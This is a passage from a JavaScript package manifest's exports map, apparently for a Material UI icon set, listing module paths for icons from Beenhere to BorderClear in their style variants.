\"require\": \"./BeenhereSharp.js\",\n      \"default\": \"./BeenhereSharp.mjs\"\n    },\n    \"./BeenhereTwoTone\": {\n      \"import\": \"./BeenhereTwoTone.mjs\",\n      \"require\": \"./BeenhereTwoTone.js\",\n      \"default\": \"./BeenhereTwoTone.mjs\"\n    },\n    \"./Bento\": {\n      \"import\": \"./Bento.mjs\",\n      \"require\": \"./Bento.js\",\n      \"default\": \"./Bento.mjs\"\n    },\n    \"./BentoOutlined\": {\n      \"import\": \"./BentoOutlined.mjs\",\n      \"require\": \"./BentoOutlined.js\",\n      \"default\": \"./BentoOutlined.mjs\"\n    },\n    \"./BentoRounded\": {\n      \"import\": \"./BentoRounded.mjs\",\n      \"require\": \"./BentoRounded.js\",\n      \"default\": \"./BentoRounded.mjs\"\n    },\n    \"./BentoSharp\": {\n      \"import\": \"./BentoSharp.mjs\",\n      \"require\": \"./BentoSharp.js\",\n      \"default\": \"./BentoSharp.mjs\"\n    },\n    \"./BentoTwoTone\": {\n      \"import\": \"./BentoTwoTone.mjs\",\n      \"require\": \"./BentoTwoTone.js\",\n      \"default\": \"./BentoTwoTone.mjs\"\n    },\n    \"./BikeScooter\": {\n      \"import\": \"./BikeScooter.mjs\",\n      \"require\": \"./BikeScooter.js\",\n      \"default\": \"./BikeScooter.mjs\"\n    },\n    \"./BikeScooterOutlined\": {\n      \"import\": \"./BikeScooterOutlined.mjs\",\n      \"require\": \"./BikeScooterOutlined.js\",\n      \"default\": \"./BikeScooterOutlined.mjs\"\n    },\n    \"./BikeScooterRounded\": {\n      \"import\": \"./BikeScooterRounded.mjs\",\n      \"require\": \"./BikeScooterRounded.js\",\n      \"default\": \"./BikeScooterRounded.mjs\"\n    },\n    \"./BikeScooterSharp\": {\n      \"import\": \"./BikeScooterSharp.mjs\",\n      \"require\": \"./BikeScooterSharp.js\",\n      \"default\": \"./BikeScooterSharp.mjs\"\n    },\n    \"./BikeScooterTwoTone\": {\n      \"import\": \"./BikeScooterTwoTone.mjs\",\n      \"require\": \"./BikeScooterTwoTone.js\",\n      \"default\": \"./BikeScooterTwoTone.mjs\"\n    },\n    \"./Biotech\": {\n      \"import\": \"./Biotech.mjs\",\n      \"require\": \"./Biotech.js\",\n      \"default\": \"./Biotech.mjs\"\n    },\n    \"./BiotechOutlined\": {\n      \"import\": \"./BiotechOutlined.mjs\",\n      \"require\": \"./BiotechOutlined.js\",\n      \"default\": \"./BiotechOutlined.mjs\"\n    },\n    \"./BiotechRounded\": {\n      \"import\": \"./BiotechRounded.mjs\",\n      \"require\": \"./BiotechRounded.js\",\n      \"default\": \"./BiotechRounded.mjs\"\n    },\n    \"./BiotechSharp\": {\n      \"import\": \"./BiotechSharp.mjs\",\n      \"require\": \"./BiotechSharp.js\",\n      \"default\": \"./BiotechSharp.mjs\"\n    },\n    \"./BiotechTwoTone\": {\n      \"import\": \"./BiotechTwoTone.mjs\",\n      \"require\": \"./BiotechTwoTone.js\",\n      \"default\": \"./BiotechTwoTone.mjs\"\n    },\n    \"./Blender\": {\n      \"import\": \"./Blender.mjs\",\n      \"require\": \"./Blender.js\",\n      \"default\": \"./Blender.mjs\"\n    },\n    \"./BlenderOutlined\": {\n      \"import\": \"./BlenderOutlined.mjs\",\n      \"require\": \"./BlenderOutlined.js\",\n      \"default\": \"./BlenderOutlined.mjs\"\n    },\n    \"./BlenderRounded\": {\n      \"import\": \"./BlenderRounded.mjs\",\n      \"require\": \"./BlenderRounded.js\",\n      \"default\": \"./BlenderRounded.mjs\"\n    },\n    \"./BlenderSharp\": {\n      \"import\": \"./BlenderSharp.mjs\",\n      \"require\": \"./BlenderSharp.js\",\n      \"default\": \"./BlenderSharp.mjs\"\n    },\n    \"./BlenderTwoTone\": {\n      \"require\": \"./BlenderTwoTone.js\",\n      \"import\": \"./BlenderTwoTone.mjs\",\n      \"default\": \"./BlenderTwoTone.mjs\"\n    },\n    \"./Blind\": {\n      \"require\": \"./Blind.js\",\n      \"import\": \"./Blind.mjs\",\n      \"default\": \"./Blind.mjs\"\n    },\n    \"./BlindOutlined\": {\n      \"require\": \"./BlindOutlined.js\",\n      \"import\": \"./BlindOutlined.mjs\",\n      \"default\": \"./BlindOutlined.mjs\"\n    },\n    \"./BlindRounded\": {\n      \"require\": \"./BlindRounded.js\",\n      \"import\": \"./BlindRounded.mjs\",\n      \"default\": \"./BlindRounded.mjs\"\n    },\n    \"./BlindSharp\": {\n      \"require\": \"./BlindSharp.js\",\n      \"import\": \"./BlindSharp.mjs\",\n      \"default\": \"./BlindSharp.mjs\"\n    },\n    \"./BlindTwoTone\": {\n      \"require\": \"./BlindTwoTone.js\",\n      \"import\": \"./BlindTwoTone.mjs\",\n      \"default\": \"./BlindTwoTone.mjs\"\n    },\n    \"./Blinds\": {\n      \"require\": \"./Blinds.js\",\n      \"import\": \"./Blinds.mjs\",\n      \"default\": \"./Blinds.mjs\"\n    },\n    \"./BlindsClosed\": {\n      \"require\": \"./BlindsClosed.js\",\n      \"import\": \"./BlindsClosed.mjs\",\n      \"default\": \"./BlindsClosed.mjs\"\n    },\n    \"./BlindsClosedOutlined\": {\n      \"require\": \"./BlindsClosedOutlined.js\",\n      \"import\": \"./BlindsClosedOutlined.mjs\",\n      \"default\": \"./BlindsClosedOutlined.mjs\"\n    },\n    \"./BlindsClosedRounded\": {\n      \"require\": \"./BlindsClosedRounded.js\",\n      \"import\": \"./BlindsClosedRounded.mjs\",\n      \"default\": \"./BlindsClosedRounded.mjs\"\n    },\n    \"./BlindsClosedSharp\": {\n      \"require\": \"./BlindsClosedSharp.js\",\n      \"import\": \"./BlindsClosedSharp.mjs\",\n      \"default\": \"./BlindsClosedSharp.mjs\"\n    },\n    \"./BlindsClosedTwoTone\": {\n      \"require\": \"./BlindsClosedTwoTone.js\",\n      \"import\": \"./BlindsClosedTwoTone.mjs\",\n      \"default\": \"./BlindsClosedTwoTone.mjs\"\n    },\n    \"./BlindsOutlined\": {\n      \"require\": \"./BlindsOutlined.js\",\n      \"import\": \"./BlindsOutlined.mjs\",\n      \"default\": \"./BlindsOutlined.mjs\"\n    },\n    \"./BlindsRounded\": {\n      \"require\": \"./BlindsRounded.js\",\n      \"import\": \"./BlindsRounded.mjs\",\n      \"default\": \"./BlindsRounded.mjs\"\n    },\n    \"./BlindsSharp\": {\n      \"require\": \"./BlindsSharp.js\",\n      \"import\": \"./BlindsSharp.mjs\",\n      \"default\": \"./BlindsSharp.mjs\"\n    },\n    \"./BlindsTwoTone\": {\n      \"require\": \"./BlindsTwoTone.js\",\n      \"import\": \"./BlindsTwoTone.mjs\",\n      \"default\": \"./BlindsTwoTone.mjs\"\n    },\n    \"./Block\": {\n      \"require\": \"./Block.js\",\n      \"import\": \"./Block.mjs\",\n      \"default\": \"./Block.mjs\"\n    },\n    \"./BlockFlipped\": {\n      \"import\": \"./BlockFlipped.mjs\",\n      \"require\": \"./BlockFlipped.js\",\n      \"default\": \"./BlockFlipped.mjs\"\n    },\n    \"./BlockOutlined\": {\n      \"import\": \"./BlockOutlined.mjs\",\n      \"require\": \"./BlockOutlined.js\",\n      \"default\": \"./BlockOutlined.mjs\"\n    },\n    \"./BlockRounded\": {\n      \"import\": \"./BlockRounded.mjs\",\n      \"require\": \"./BlockRounded.js\",\n      \"default\": \"./BlockRounded.mjs\"\n    },\n    \"./BlockSharp\": {\n      \"import\": \"./BlockSharp.mjs\",\n      \"require\": \"./BlockSharp.js\",\n      \"default\": \"./BlockSharp.mjs\"\n    },\n    \"./BlockTwoTone\": {\n      \"import\": \"./BlockTwoTone.mjs\",\n      \"require\": \"./BlockTwoTone.js\",\n      \"default\": \"./BlockTwoTone.mjs\"\n    },\n    \"./Bloodtype\": {\n      \"import\": \"./Bloodtype.mjs\",\n      \"require\": \"./Bloodtype.js\",\n      \"default\": \"./Bloodtype.mjs\"\n    },\n    \"./BloodtypeOutlined\": {\n      \"import\": \"./BloodtypeOutlined.mjs\",\n      \"require\": \"./BloodtypeOutlined.js\",\n      \"default\": \"./BloodtypeOutlined.mjs\"\n    },\n    \"./BloodtypeRounded\": {\n      \"import\": \"./BloodtypeRounded.mjs\",\n      \"require\": \"./BloodtypeRounded.js\",\n      \"default\": \"./BloodtypeRounded.mjs\"\n    },\n    \"./BloodtypeSharp\": {\n      \"import\": \"./BloodtypeSharp.mjs\",\n      \"require\": \"./BloodtypeSharp.js\",\n      \"default\": \"./BloodtypeSharp.mjs\"\n    },\n    \"./BloodtypeTwoTone\": {\n      \"require\": \"./BloodtypeTwoTone.js\",\n      \"import\": \"./BloodtypeTwoTone.mjs\",\n      \"default\": \"./BloodtypeTwoTone.mjs\"\n    },\n    \"./Bluetooth\": {\n      \"require\": \"./Bluetooth.js\",\n      \"import\": \"./Bluetooth.mjs\",\n      \"default\": \"./Bluetooth.mjs\"\n    },\n    \"./BluetoothAudio\": {\n      \"require\": \"./BluetoothAudio.js\",\n      \"import\": \"./BluetoothAudio.mjs\",\n      \"default\": \"./BluetoothAudio.mjs\"\n    },\n    \"./BluetoothAudioOutlined\": {\n      \"require\": \"./BluetoothAudioOutlined.js\",\n      \"import\": \"./BluetoothAudioOutlined.mjs\",\n      \"default\": \"./BluetoothAudioOutlined.mjs\"\n    },\n    \"./BluetoothAudioRounded\": {\n      \"require\": \"./BluetoothAudioRounded.js\",\n      \"import\": \"./BluetoothAudioRounded.mjs\",\n      \"default\": \"./BluetoothAudioRounded.mjs\"\n    },\n    \"./BluetoothAudioSharp\": {\n      \"require\": \"./BluetoothAudioSharp.js\",\n      \"import\": \"./BluetoothAudioSharp.mjs\",\n      \"default\": \"./BluetoothAudioSharp.mjs\"\n    },\n    \"./BluetoothAudioTwoTone\": {\n      \"require\": \"./BluetoothAudioTwoTone.js\",\n      \"import\": \"./BluetoothAudioTwoTone.mjs\",\n      \"default\": \"./BluetoothAudioTwoTone.mjs\"\n    },\n    \"./BluetoothConnected\": {\n      \"require\": \"./BluetoothConnected.js\",\n      \"import\": \"./BluetoothConnected.mjs\",\n      \"default\": \"./BluetoothConnected.mjs\"\n    },\n    \"./BluetoothConnectedOutlined\": {\n      \"require\": \"./BluetoothConnectedOutlined.js\",\n      \"import\": \"./BluetoothConnectedOutlined.mjs\",\n      \"default\": \"./BluetoothConnectedOutlined.mjs\"\n    },\n    \"./BluetoothConnectedRounded\": {\n      \"require\": \"./BluetoothConnectedRounded.js\",\n      \"import\": \"./BluetoothConnectedRounded.mjs\",\n      \"default\": \"./BluetoothConnectedRounded.mjs\"\n    },\n    \"./BluetoothConnectedSharp\": {\n      \"import\": \"./BluetoothConnectedSharp.mjs\",\n      \"require\": \"./BluetoothConnectedSharp.js\",\n      \"default\": \"./BluetoothConnectedSharp.mjs\"\n    },\n    \"./BluetoothConnectedTwoTone\": {\n      \"import\": \"./BluetoothConnectedTwoTone.mjs\",\n      \"require\": \"./BluetoothConnectedTwoTone.js\",\n      \"default\": \"./BluetoothConnectedTwoTone.mjs\"\n    },\n    \"./BluetoothDisabled\": {\n      \"import\": \"./BluetoothDisabled.mjs\",\n      \"require\": \"./BluetoothDisabled.js\",\n      \"default\": \"./BluetoothDisabled.mjs\"\n    },\n    \"./BluetoothDisabledOutlined\": {\n      \"import\": \"./BluetoothDisabledOutlined.mjs\",\n      \"require\": \"./BluetoothDisabledOutlined.js\",\n      \"default\": \"./BluetoothDisabledOutlined.mjs\"\n    },\n    \"./BluetoothDisabledRounded\": {\n      \"import\": \"./BluetoothDisabledRounded.mjs\",\n      \"require\": \"./BluetoothDisabledRounded.js\",\n      \"default\": \"./BluetoothDisabledRounded.mjs\"\n    },\n    \"./BluetoothDisabledSharp\": {\n      \"import\": \"./BluetoothDisabledSharp.mjs\",\n      \"require\": \"./BluetoothDisabledSharp.js\",\n      \"default\": \"./BluetoothDisabledSharp.mjs\"\n    },\n    \"./BluetoothDisabledTwoTone\": {\n      \"import\": \"./BluetoothDisabledTwoTone.mjs\",\n      \"require\": \"./BluetoothDisabledTwoTone.js\",\n      \"default\": \"./BluetoothDisabledTwoTone.mjs\"\n    },\n    \"./BluetoothDrive\": {\n      \"import\": \"./BluetoothDrive.mjs\",\n      \"require\": \"./BluetoothDrive.js\",\n      \"default\": \"./BluetoothDrive.mjs\"\n    },\n    \"./BluetoothDriveOutlined\": {\n      \"import\": \"./BluetoothDriveOutlined.mjs\",\n      \"require\": \"./BluetoothDriveOutlined.js\",\n      \"default\": \"./BluetoothDriveOutlined.mjs\"\n    },\n    \"./BluetoothDriveRounded\": {\n      \"import\": \"./BluetoothDriveRounded.mjs\",\n      \"require\": \"./BluetoothDriveRounded.js\",\n      \"default\": \"./BluetoothDriveRounded.mjs\"\n    },\n    \"./BluetoothDriveSharp\": {\n      \"import\": \"./BluetoothDriveSharp.mjs\",\n      \"require\": \"./BluetoothDriveSharp.js\",\n      \"default\": \"./BluetoothDriveSharp.mjs\"\n    },\n    \"./BluetoothDriveTwoTone\": {\n      \"import\": \"./BluetoothDriveTwoTone.mjs\",\n      \"require\": \"./BluetoothDriveTwoTone.js\",\n      \"default\": \"./BluetoothDriveTwoTone.mjs\"\n    },\n    \"./BluetoothOutlined\": {\n      \"import\": \"./BluetoothOutlined.mjs\",\n      \"require\": \"./BluetoothOutlined.js\",\n      \"default\": \"./BluetoothOutlined.mjs\"\n    },\n    \"./BluetoothRounded\": {\n      \"import\": \"./BluetoothRounded.mjs\",\n      \"require\": \"./BluetoothRounded.js\",\n      \"default\": \"./BluetoothRounded.mjs\"\n    },\n    \"./BluetoothSearching\": {\n      \"import\": \"./BluetoothSearching.mjs\",\n      \"require\": \"./BluetoothSearching.js\",\n      \"default\": \"./BluetoothSearching.mjs\"\n    },\n    \"./BluetoothSearchingOutlined\": {\n      \"require\": \"./BluetoothSearchingOutlined.js\",\n      \"import\": \"./BluetoothSearchingOutlined.mjs\",\n      \"default\": \"./BluetoothSearchingOutlined.mjs\"\n    },\n    \"./BluetoothSearchingRounded\": {\n      \"require\": \"./BluetoothSearchingRounded.js\",\n      \"import\": \"./BluetoothSearchingRounded.mjs\",\n      \"default\": \"./BluetoothSearchingRounded.mjs\"\n    },\n    \"./BluetoothSearchingSharp\": {\n      \"require\": \"./BluetoothSearchingSharp.js\",\n      \"import\": \"./BluetoothSearchingSharp.mjs\",\n      \"default\": \"./BluetoothSearchingSharp.mjs\"\n    },\n    \"./BluetoothSearchingTwoTone\": {\n      \"require\": \"./BluetoothSearchingTwoTone.js\",\n      \"import\": \"./BluetoothSearchingTwoTone.mjs\",\n      \"default\": \"./BluetoothSearchingTwoTone.mjs\"\n    },\n    \"./BluetoothSharp\": {\n      \"require\": \"./BluetoothSharp.js\",\n      \"import\": \"./BluetoothSharp.mjs\",\n      \"default\": \"./BluetoothSharp.mjs\"\n    },\n    \"./BluetoothTwoTone\": {\n      \"require\": \"./BluetoothTwoTone.js\",\n      \"import\": \"./BluetoothTwoTone.mjs\",\n      \"default\": \"./BluetoothTwoTone.mjs\"\n    },\n    \"./BlurCircular\": {\n      \"require\": \"./BlurCircular.js\",\n      \"import\": \"./BlurCircular.mjs\",\n      \"default\": \"./BlurCircular.mjs\"\n    },\n    \"./BlurCircularOutlined\": {\n      \"require\": \"./BlurCircularOutlined.js\",\n      \"import\": \"./BlurCircularOutlined.mjs\",\n      \"default\": \"./BlurCircularOutlined.mjs\"\n    },\n    \"./BlurCircularRounded\": {\n      \"require\": \"./BlurCircularRounded.js\",\n      \"import\": \"./BlurCircularRounded.mjs\",\n      \"default\": \"./BlurCircularRounded.mjs\"\n    },\n    \"./BlurCircularSharp\": {\n      \"require\": \"./BlurCircularSharp.js\",\n      \"import\": \"./BlurCircularSharp.mjs\",\n      \"default\": \"./BlurCircularSharp.mjs\"\n    },\n    \"./BlurCircularTwoTone\": {\n      \"require\": \"./BlurCircularTwoTone.js\",\n      \"import\": \"./BlurCircularTwoTone.mjs\",\n      \"default\": \"./BlurCircularTwoTone.mjs\"\n    },\n    \"./BlurLinear\": {\n      \"require\": \"./BlurLinear.js\",\n      \"import\": \"./BlurLinear.mjs\",\n      \"default\": \"./BlurLinear.mjs\"\n    },\n    \"./BlurLinearOutlined\": {\n      \"require\": \"./BlurLinearOutlined.js\",\n      \"import\": \"./BlurLinearOutlined.mjs\",\n      \"default\": \"./BlurLinearOutlined.mjs\"\n    },\n    \"./BlurLinearRounded\": {\n      \"require\": \"./BlurLinearRounded.js\",\n      \"import\": \"./BlurLinearRounded.mjs\",\n      \"default\": \"./BlurLinearRounded.mjs\"\n    },\n    \"./BlurLinearSharp\": {\n      \"require\": \"./BlurLinearSharp.js\",\n      \"import\": \"./BlurLinearSharp.mjs\",\n      \"default\": \"./BlurLinearSharp.mjs\"\n    },\n    \"./BlurLinearTwoTone\": {\n      \"require\": \"./BlurLinearTwoTone.js\",\n      \"import\": \"./BlurLinearTwoTone.mjs\",\n      \"default\": \"./BlurLinearTwoTone.mjs\"\n    },\n    \"./BlurOff\": {\n      \"require\": \"./BlurOff.js\",\n      \"import\": \"./BlurOff.mjs\",\n      \"default\": \"./BlurOff.mjs\"\n    },\n    \"./BlurOffOutlined\": {\n      \"require\": \"./BlurOffOutlined.js\",\n      \"import\": \"./BlurOffOutlined.mjs\",\n      \"default\": \"./BlurOffOutlined.mjs\"\n    },\n    \"./BlurOffRounded\": {\n      \"require\": \"./BlurOffRounded.js\",\n      \"import\": \"./BlurOffRounded.mjs\",\n      \"default\": \"./BlurOffRounded.mjs\"\n    },\n    \"./BlurOffSharp\": {\n      \"require\": \"./BlurOffSharp.js\",\n      \"import\": \"./BlurOffSharp.mjs\",\n      \"default\": \"./BlurOffSharp.mjs\"\n    },\n    \"./BlurOffTwoTone\": {\n      \"require\": \"./BlurOffTwoTone.js\",\n      \"import\": \"./BlurOffTwoTone.mjs\",\n      \"default\": \"./BlurOffTwoTone.mjs\"\n    },\n    \"./BlurOn\": {\n      \"require\": \"./BlurOn.js\",\n      \"import\": \"./BlurOn.mjs\",\n      \"default\": \"./BlurOn.mjs\"\n    },\n    \"./BlurOnOutlined\": {\n      \"require\": \"./BlurOnOutlined.js\",\n      \"import\": \"./BlurOnOutlined.mjs\",\n      \"default\": \"./BlurOnOutlined.mjs\"\n    },\n    \"./BlurOnRounded\": {\n      \"require\": \"./BlurOnRounded.js\",\n      \"import\": \"./BlurOnRounded.mjs\",\n      \"default\": \"./BlurOnRounded.mjs\"\n    },\n    \"./BlurOnSharp\": {\n      \"require\": \"./BlurOnSharp.js\",\n      \"import\": \"./BlurOnSharp.mjs\",\n      \"default\": \"./BlurOnSharp.mjs\"\n    },\n    \"./BlurOnTwoTone\": {\n      \"require\": \"./BlurOnTwoTone.js\",\n      \"import\": \"./BlurOnTwoTone.mjs\",\n      \"default\": \"./BlurOnTwoTone.mjs\"\n    },\n    \"./Bolt\": {\n      \"require\": \"./Bolt.js\",\n      \"import\": \"./Bolt.mjs\",\n      \"default\": \"./Bolt.mjs\"\n    },\n    \"./BoltOutlined\": {\n      \"require\": \"./BoltOutlined.js\",\n      \"import\": \"./BoltOutlined.mjs\",\n      \"default\": \"./BoltOutlined.mjs\"\n    },\n    \"./BoltRounded\": {\n      \"require\": \"./BoltRounded.js\",\n      \"import\": \"./BoltRounded.mjs\",\n      \"default\": \"./BoltRounded.mjs\"\n    },\n    \"./BoltSharp\": {\n      \"require\": \"./BoltSharp.js\",\n      \"import\": \"./BoltSharp.mjs\",\n      \"default\": \"./BoltSharp.mjs\"\n    },\n    \"./BoltTwoTone\": {\n      \"require\": \"./BoltTwoTone.js\",\n      \"import\": \"./BoltTwoTone.mjs\",\n      \"default\": \"./BoltTwoTone.mjs\"\n    },\n    \"./Book\": {\n      \"require\": \"./Book.js\",\n      \"import\": \"./Book.mjs\",\n      \"default\": \"./Book.mjs\"\n    },\n    \"./BookOnline\": {\n      \"require\": \"./BookOnline.js\",\n      \"import\": \"./BookOnline.mjs\",\n      \"default\": \"./BookOnline.mjs\"\n    },\n    \"./BookOnlineOutlined\": {\n      \"require\": \"./BookOnlineOutlined.js\",\n      \"import\": \"./BookOnlineOutlined.mjs\",\n      \"default\": \"./BookOnlineOutlined.mjs\"\n    },\n    \"./BookOnlineRounded\": {\n      \"require\": \"./BookOnlineRounded.js\",\n      \"import\": \"./BookOnlineRounded.mjs\",\n      \"default\": \"./BookOnlineRounded.mjs\"\n    },\n    \"./BookOnlineSharp\": {\n      \"require\": \"./BookOnlineSharp.js\",\n      \"import\": \"./BookOnlineSharp.mjs\",\n      \"default\": \"./BookOnlineSharp.mjs\"\n    },\n    \"./BookOnlineTwoTone\": {\n      \"require\": \"./BookOnlineTwoTone.js\",\n      \"import\": \"./BookOnlineTwoTone.mjs\",\n      \"default\": \"./BookOnlineTwoTone.mjs\"\n    },\n    \"./BookOutlined\": {\n      \"import\": \"./BookOutlined.mjs\",\n      \"require\": \"./BookOutlined.js\",\n      \"default\": \"./BookOutlined.mjs\"\n    },\n    \"./BookRounded\": {\n      \"import\": \"./BookRounded.mjs\",\n      \"require\": \"./BookRounded.js\",\n      \"default\": \"./BookRounded.mjs\"\n    },\n    \"./BookSharp\": {\n      \"import\": \"./BookSharp.mjs\",\n      \"require\": \"./BookSharp.js\",\n      \"default\": \"./BookSharp.mjs\"\n    },\n    \"./BookTwoTone\": {\n      \"require\": \"./BookTwoTone.js\",\n      \"import\": \"./BookTwoTone.mjs\",\n      \"default\": \"./BookTwoTone.mjs\"\n    },\n    \"./Bookmark\": {\n      \"require\": \"./Bookmark.js\",\n      \"import\": \"./Bookmark.mjs\",\n      \"default\": \"./Bookmark.mjs\"\n    },\n    \"./BookmarkAdd\": {\n      \"require\": \"./BookmarkAdd.js\",\n      \"import\": \"./BookmarkAdd.mjs\",\n      \"default\": \"./BookmarkAdd.mjs\"\n    },\n    \"./BookmarkAddOutlined\": {\n      \"require\": \"./BookmarkAddOutlined.js\",\n      \"import\": \"./BookmarkAddOutlined.mjs\",\n      \"default\": \"./BookmarkAddOutlined.mjs\"\n    },\n    \"./BookmarkAddRounded\": {\n      \"require\": \"./BookmarkAddRounded.js\",\n      \"import\": \"./BookmarkAddRounded.mjs\",\n      \"default\": \"./BookmarkAddRounded.mjs\"\n    },\n    \"./BookmarkAddSharp\": {\n      \"import\": \"./BookmarkAddSharp.mjs\",\n      \"require\": \"./BookmarkAddSharp.js\",\n      \"default\": \"./BookmarkAddSharp.mjs\"\n    },\n    \"./BookmarkAddTwoTone\": {\n      \"import\": \"./BookmarkAddTwoTone.mjs\",\n      \"require\": \"./BookmarkAddTwoTone.js\",\n      \"default\": \"./BookmarkAddTwoTone.mjs\"\n    },\n    \"./BookmarkAdded\": {\n      \"import\": \"./BookmarkAdded.mjs\",\n      \"require\": \"./BookmarkAdded.js\",\n      \"default\": \"./BookmarkAdded.mjs\"\n    },\n    \"./BookmarkAddedOutlined\": {\n      \"import\": \"./BookmarkAddedOutlined.mjs\",\n      \"require\": \"./BookmarkAddedOutlined.js\",\n      \"default\": \"./BookmarkAddedOutlined.mjs\"\n    },\n    \"./BookmarkAddedRounded\": {\n      \"import\": \"./BookmarkAddedRounded.mjs\",\n      \"require\": \"./BookmarkAddedRounded.js\",\n      \"default\": \"./BookmarkAddedRounded.mjs\"\n    },\n    \"./BookmarkAddedSharp\": {\n      \"import\": \"./BookmarkAddedSharp.mjs\",\n      \"require\": \"./BookmarkAddedSharp.js\",\n      \"default\": \"./BookmarkAddedSharp.mjs\"\n    },\n    \"./BookmarkAddedTwoTone\": {\n      \"import\": \"./BookmarkAddedTwoTone.mjs\",\n      \"require\": \"./BookmarkAddedTwoTone.js\",\n      \"default\": \"./BookmarkAddedTwoTone.mjs\"\n    },\n    \"./BookmarkBorder\": {\n      \"import\": \"./BookmarkBorder.mjs\",\n      \"require\": \"./BookmarkBorder.js\",\n      \"default\": \"./BookmarkBorder.mjs\"\n    },\n    \"./BookmarkBorderOutlined\": {\n      \"import\": \"./BookmarkBorderOutlined.mjs\",\n      \"require\": \"./BookmarkBorderOutlined.js\",\n      \"default\": \"./BookmarkBorderOutlined.mjs\"\n    },\n    \"./BookmarkBorderRounded\": {\n      \"import\": \"./BookmarkBorderRounded.mjs\",\n      \"require\": \"./BookmarkBorderRounded.js\",\n      \"default\": \"./BookmarkBorderRounded.mjs\"\n    },\n    \"./BookmarkBorderSharp\": {\n      \"import\": \"./BookmarkBorderSharp.mjs\",\n      \"require\": \"./BookmarkBorderSharp.js\",\n      \"default\": \"./BookmarkBorderSharp.mjs\"\n    },\n    \"./BookmarkBorderTwoTone\": {\n      \"import\": \"./BookmarkBorderTwoTone.mjs\",\n      \"require\": \"./BookmarkBorderTwoTone.js\",\n      \"default\": \"./BookmarkBorderTwoTone.mjs\"\n    },\n    \"./BookmarkOutlined\": {\n      \"import\": \"./BookmarkOutlined.mjs\",\n      \"require\": \"./BookmarkOutlined.js\",\n      \"default\": \"./BookmarkOutlined.mjs\"\n    },\n    \"./BookmarkRemove\": {\n      \"import\": \"./BookmarkRemove.mjs\",\n      \"require\": \"./BookmarkRemove.js\",\n      \"default\": \"./BookmarkRemove.mjs\"\n    },\n    \"./BookmarkRemoveOutlined\": {\n      \"import\": \"./BookmarkRemoveOutlined.mjs\",\n      \"require\": \"./BookmarkRemoveOutlined.js\",\n      \"default\": \"./BookmarkRemoveOutlined.mjs\"\n    },\n    \"./BookmarkRemoveRounded\": {\n      \"import\": \"./BookmarkRemoveRounded.mjs\",\n      \"require\": \"./BookmarkRemoveRounded.js\",\n      \"default\": \"./BookmarkRemoveRounded.mjs\"\n    },\n    \"./BookmarkRemoveSharp\": {\n      \"import\": \"./BookmarkRemoveSharp.mjs\",\n      \"require\": \"./BookmarkRemoveSharp.js\",\n      \"default\": \"./BookmarkRemoveSharp.mjs\"\n    },\n    \"./BookmarkRemoveTwoTone\": {\n      \"import\": \"./BookmarkRemoveTwoTone.mjs\",\n      \"require\": \"./BookmarkRemoveTwoTone.js\",\n      \"default\": \"./BookmarkRemoveTwoTone.mjs\"\n    },\n    \"./BookmarkRounded\": {\n      \"import\": \"./BookmarkRounded.mjs\",\n      \"require\": \"./BookmarkRounded.js\",\n      \"default\": \"./BookmarkRounded.mjs\"\n    },\n    \"./BookmarkSharp\": {\n      \"import\": \"./BookmarkSharp.mjs\",\n      \"require\": \"./BookmarkSharp.js\",\n      \"default\": \"./BookmarkSharp.mjs\"\n    },\n    \"./BookmarkTwoTone\": {\n      \"import\": \"./BookmarkTwoTone.mjs\",\n      \"require\": \"./BookmarkTwoTone.js\",\n      \"default\": \"./BookmarkTwoTone.mjs\"\n    },\n    \"./Bookmarks\": {\n      \"import\": \"./Bookmarks.mjs\",\n      \"require\": \"./Bookmarks.js\",\n      \"default\": \"./Bookmarks.mjs\"\n    },\n    \"./BookmarksOutlined\": {\n      \"import\": \"./BookmarksOutlined.mjs\",\n      \"require\": \"./BookmarksOutlined.js\",\n      \"default\": \"./BookmarksOutlined.mjs\"\n    },\n    \"./BookmarksRounded\": {\n      \"import\": \"./BookmarksRounded.mjs\",\n      \"require\": \"./BookmarksRounded.js\",\n      \"default\": \"./BookmarksRounded.mjs\"\n    },\n    \"./BookmarksSharp\": {\n      \"require\": \"./BookmarksSharp.js\",\n      \"import\": \"./BookmarksSharp.mjs\",\n      \"default\": \"./BookmarksSharp.mjs\"\n    },\n    \"./BookmarksTwoTone\": {\n      \"require\": \"./BookmarksTwoTone.js\",\n      \"import\": \"./BookmarksTwoTone.mjs\",\n      \"default\": \"./BookmarksTwoTone.mjs\"\n    },\n    \"./BorderAll\": {\n      \"require\": \"./BorderAll.js\",\n      \"import\": \"./BorderAll.mjs\",\n      \"default\": \"./BorderAll.mjs\"\n    },\n    \"./BorderAllOutlined\": {\n      \"require\": \"./BorderAllOutlined.js\",\n      \"import\": \"./BorderAllOutlined.mjs\",\n      \"default\": \"./BorderAllOutlined.mjs\"\n    },\n    \"./BorderAllRounded\": {\n      \"require\": \"./BorderAllRounded.js\",\n      \"import\": \"./BorderAllRounded.mjs\",\n      \"default\": \"./BorderAllRounded.mjs\"\n    },\n    \"./BorderAllSharp\": {\n      \"require\": \"./BorderAllSharp.js\",\n      \"import\": \"./BorderAllSharp.mjs\",\n      \"default\": \"./BorderAllSharp.mjs\"\n    },\n    \"./BorderAllTwoTone\": {\n      \"require\": \"./BorderAllTwoTone.js\",\n      \"import\": \"./BorderAllTwoTone.mjs\",\n      \"default\": \"./BorderAllTwoTone.mjs\"\n    },\n    \"./BorderBottom\": {\n      \"require\": \"./BorderBottom.js\",\n      \"import\": \"./BorderBottom.mjs\",\n      \"default\": \"./BorderBottom.mjs\"\n    },\n    \"./BorderBottomOutlined\": {\n      \"import\": \"./BorderBottomOutlined.mjs\",\n      \"require\": \"./BorderBottomOutlined.js\",\n      \"default\": \"./BorderBottomOutlined.mjs\"\n    },\n    \"./BorderBottomRounded\": {\n      \"import\": \"./BorderBottomRounded.mjs\",\n      \"require\": \"./BorderBottomRounded.js\",\n      \"default\": \"./BorderBottomRounded.mjs\"\n    },\n    \"./BorderBottomSharp\": {\n      \"import\": \"./BorderBottomSharp.mjs\",\n      \"require\": \"./BorderBottomSharp.js\",\n      \"default\": \"./BorderBottomSharp.mjs\"\n    },\n    \"./BorderBottomTwoTone\": {\n      \"import\": \"./BorderBottomTwoTone.mjs\",\n      \"require\": \"./BorderBottomTwoTone.js\",\n      \"default\": \"./BorderBottomTwoTone.mjs\"\n    },\n    \"./BorderClear\": {\n      \"import\": \"./BorderClear.mjs\",\n      \"require\": \"./BorderClear.js\",\n      \"default\": \"./BorderClear.mjs\"\n    },\n    \"./BorderClearOutlined\": {\n      \"import\": \"./BorderClearOutlined.mjs\",\n      \"require\": \"./BorderClearOutlined.js\",\n      \"default\": \"./BorderClearOutlined.mjs\"\n    },\n    